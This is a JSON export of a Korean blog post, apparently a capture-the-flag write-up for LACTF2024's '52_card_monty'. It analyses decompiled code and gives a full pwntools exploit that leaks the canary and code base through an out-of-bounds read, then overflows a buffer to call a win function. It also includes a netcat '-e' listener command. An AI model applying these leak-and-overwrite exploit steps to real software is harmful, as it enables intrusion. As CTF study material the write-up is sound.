{"id":3342,"date":"2025-04-14T19:50:44","date_gmt":"2025-04-14T10:50:44","guid":{"rendered":"https:\/\/h4ck.kr\/?p=3342"},"modified":"2025-04-14T19:50:45","modified_gmt":"2025-04-14T10:50:45","slug":"lactf2024-52_card_monty","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=3342","title":{"rendered":"[LACTF2024] 52_card_monty"},"content":{"rendered":"\n

checksec<\/h3>\n\n\n\n
[*] '\/home\/seo\/study\/LACTF2024\/52_card_monty\/monty'\n    Arch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        PIE enabled\n    Stripped:   No<\/pre>\n\n\n\n
Decompiled-src \/ Analysis<\/h3>\n\n\n\n
game<\/code> \ud568\uc218 \ud638\ucd9c.<\/p>\n\n\n\n
int __fastcall main(int argc, const char **argv, const char **envp)\n{\n  setup(argc, argv, envp);\n  puts(\"Welcome to 52-card monty!\");\n  puts(\n    \"The rules of the game are simple. You are trying to guess which card is correct. You get two peeks. Show me the lady!\");\n  game();\n  return 0;\n}<\/pre>\n\n\n\n
v3<\/code> \ubcc0\uc218\uc758 \uc778\ub371\uc2a4\uc5d0 \ub300\ud55c \uac80\uc0ac\uac00 \uc5c6\uae30 \ub54c\ubb38\uc5d0 OOB \ucde8\uc57d\uc810 \ubc1c\uc0dd. \ucd1d 2\ubc88 \uc77c\uc73c\ud0a4\ubbc0\ub85c code base\uc640 canary \uc720\ucd9c \uac00\ub2a5.<\/p>\n\n\n\n
fgets<\/code>\uac00 s<\/code> 24\ud06c\uae30\ubcf4\ub2e4 \ub354 \ud070 52\ubc14\uc774\ud2b8\ub97c \uc785\ub825\ubc1b\uc73c\ubbc0\ub85c BOF \ucde8\uc57d\uc810 \ubc1c\uc0dd.<\/p>\n\n\n\n
unsigned __int64 game()\n{\n  int v1; \/\/ [rsp+0h] [rbp-1D0h] BYREF\n  int i; \/\/ [rsp+4h] [rbp-1CCh]\n  __int64 v3; \/\/ [rsp+8h] [rbp-1C8h]\n  _QWORD v4[52]; \/\/ [rsp+10h] [rbp-1C0h] BYREF\n  char s[24]; \/\/ [rsp+1B0h] [rbp-20h] BYREF\n  unsigned __int64 v6; \/\/ [rsp+1C8h] [rbp-8h]\n\n  v6 = __readfsqword(0x28u);\n  memset(v4, 0, sizeof(v4));\n  for ( i = 0; i <= 51; ++i )\n    v4[i] = lrand();\n  v1 = rand() % 52;\n  v4[v1] = 1111111111;\n  puts(\"==============================\");\n  printf(\"index of your first peek? \");\n  __isoc99_scanf(\"%d\", &v1);\n  v3 = v4[v1 % 82];\n  v4[v1 % 82] = v4[0];\n  v4[0] = v3;\n  printf(\"Peek 1: %lu\\n\", v3);\n  puts(\"==============================\");\n  printf(\"index of your second peek? \");\n  __isoc99_scanf(\"%d\", &v1);\n  v3 = v4[v1 % 82];\n  v4[v1 % 82] = v4[0];\n  v4[0] = v3;\n  printf(\"Peek 2: %lu\\n\", v3);\n  puts(\"==============================\");\n  printf(\"Show me the lady! \");\n  __isoc99_scanf(\"%d\", &v1);\n  puts(\"==============================\");\n  if ( v4[v1] == 1111111111 )\n    puts(\"You win!\");\n  else\n    puts(\"Just missed. Try again.\");\n  puts(\"==============================\");\n  puts(\"Add your name to the leaderboard.\");\n  getchar();\n  printf(\"Name: \");\n  fgets(s, 52, stdin);\n  puts(\"==============================\");\n  printf(\"Thanks for playing, %s!\\n\", s);\n  return v6 - __readfsqword(0x28u);\n}<\/pre>\n\n\n\n
Docker \uac00\uc0c1\ud658\uacbd \uad6c\ucd95<\/h3>\n\n\n\n
    \n
  • ubuntu 22.04.05 \ud658\uacbd\uc5d0\uc11c flag \ud68d\ub4dd \ubd88\uac00\ub85c Docker \uad6c\ucd95 \ud544\uc694<\/li>\n<\/ul>\n\n\n\n
    sudo docker build . -t 52_card_monty\nsudo docker run -it --rm --privileged --security-opt seccomp=unconfined -p 1337:1337 52_card_monty sh\n\n\/srv\/app # nc -lvp 1337 -e \/srv\/app\/run\nlistening on [::]:1337 ...\nconnect to [::ffff:172.17.0.2]:1337 from [::ffff:172.17.0.1]:50326 ([::ffff:172.17.0.1]:50326)\nSegmentation fault (core dumped)<\/pre>\n\n\n\n
    solve.py<\/h3>\n\n\n\n
    from pwn import *\n# context.log_level = 'debug'\ncontext(arch='amd64', os='linux')\nwarnings.filterwarnings('ignore')\n\n# p = process(\".\/monty\")\np = remote(\"127.0.0.1\", 1337)\ne = ELF('.\/monty', checksec=True)\n\nsla = p.sendlineafter\nsa = p.sendafter\n\npayload = b\"57\" #ret\nsla(b\"index of your first peek? \", payload)\n\ncode_base = p.recvline()\ncode_base = code_base.split(b\"Peek 1: \")[1].split(b\"\\n\")[0]\ncode_base = int(code_base) - 0x167e\nsuccess(f\"code_base: {hex(code_base)}\")\n\npayload = b\"55\" #canary\nsla(b\"index of your second peek? \", payload)\n\ncanary = p.recvline()\ncanary = canary.split(b\"Peek 2: \")[1].split(b\"\\n\")[0]\ncanary = int(canary)\nsuccess(f\"canary: {hex(canary)}\")\n\nsla(b\"Show me the lady! \", b\"1\")\n\npayload = b\"A\"*24 + p64(canary) + b\"B\"*8 + p64(e.symbols[\"win\"] + code_base)\n\nsla(b\"Name: \", payload)\n\np.interactive()<\/pre>\n\n\n\n
    Result<\/h3>\n\n\n\n
    seo@seo:~\/study\/LACTF2024\/52_card_monty$ python3 solve.py\n[+] Opening connection to 127.0.0.1 on port 1337: Done\n[*] '\/home\/seo\/study\/LACTF2024\/52_card_monty\/monty'\n    Arch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        PIE enabled\n    Stripped:   No\n[+] code_base: 0x56fd9c27c000\n[+] canary: 0xe6096a4aeb61fb00\n[*] Switching to interactive mode\n==============================\nThanks for playing, AAAAAAAAAAAAAAAAAAAAAAAA!\nflag{fake_flag}\n[*] Got EOF while reading in interactive\n$<\/pre>\n","protected":false},"excerpt":{"rendered":"
    checksec Decompiled-src \/ Analysis game \ud568\uc218 \ud638\ucd9c. v3 \ubcc0\uc218\uc758 \uc778\ub371\uc2a4\uc5d0 \ub300\ud55c \uac80\uc0ac\uac00 \uc5c6\uae30 \ub54c\ubb38\uc5d0 OOB \ucde8\uc57d\uc810 \ubc1c\uc0dd. \ucd1d 2\ubc88 \uc77c\uc73c\ud0a4\ubbc0\ub85c code base\uc640 canary \uc720\ucd9c \uac00\ub2a5. fgets\uac00 s 24\ud06c\uae30\ubcf4\ub2e4 \ub354 \ud070 52\ubc14\uc774\ud2b8\ub97c \uc785\ub825\ubc1b\uc73c\ubbc0\ub85c BOF \ucde8\uc57d\uc810 \ubc1c\uc0dd. Docker \uac00\uc0c1\ud658\uacbd \uad6c\ucd95 solve.py Result<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","footnotes":""},"categories":[19],"tags":[25],"class_list":["post-3342","post","type-post","status-publish","format-standard","hentry","category-ctf-private","tag-pwnable"],"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3342","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3342"}],"version-history":[{"count":1,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3342\/revisions"}],"predecessor-version":[{"id":3343,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3342\/revisions\/3343"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3342"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3342"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3342"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}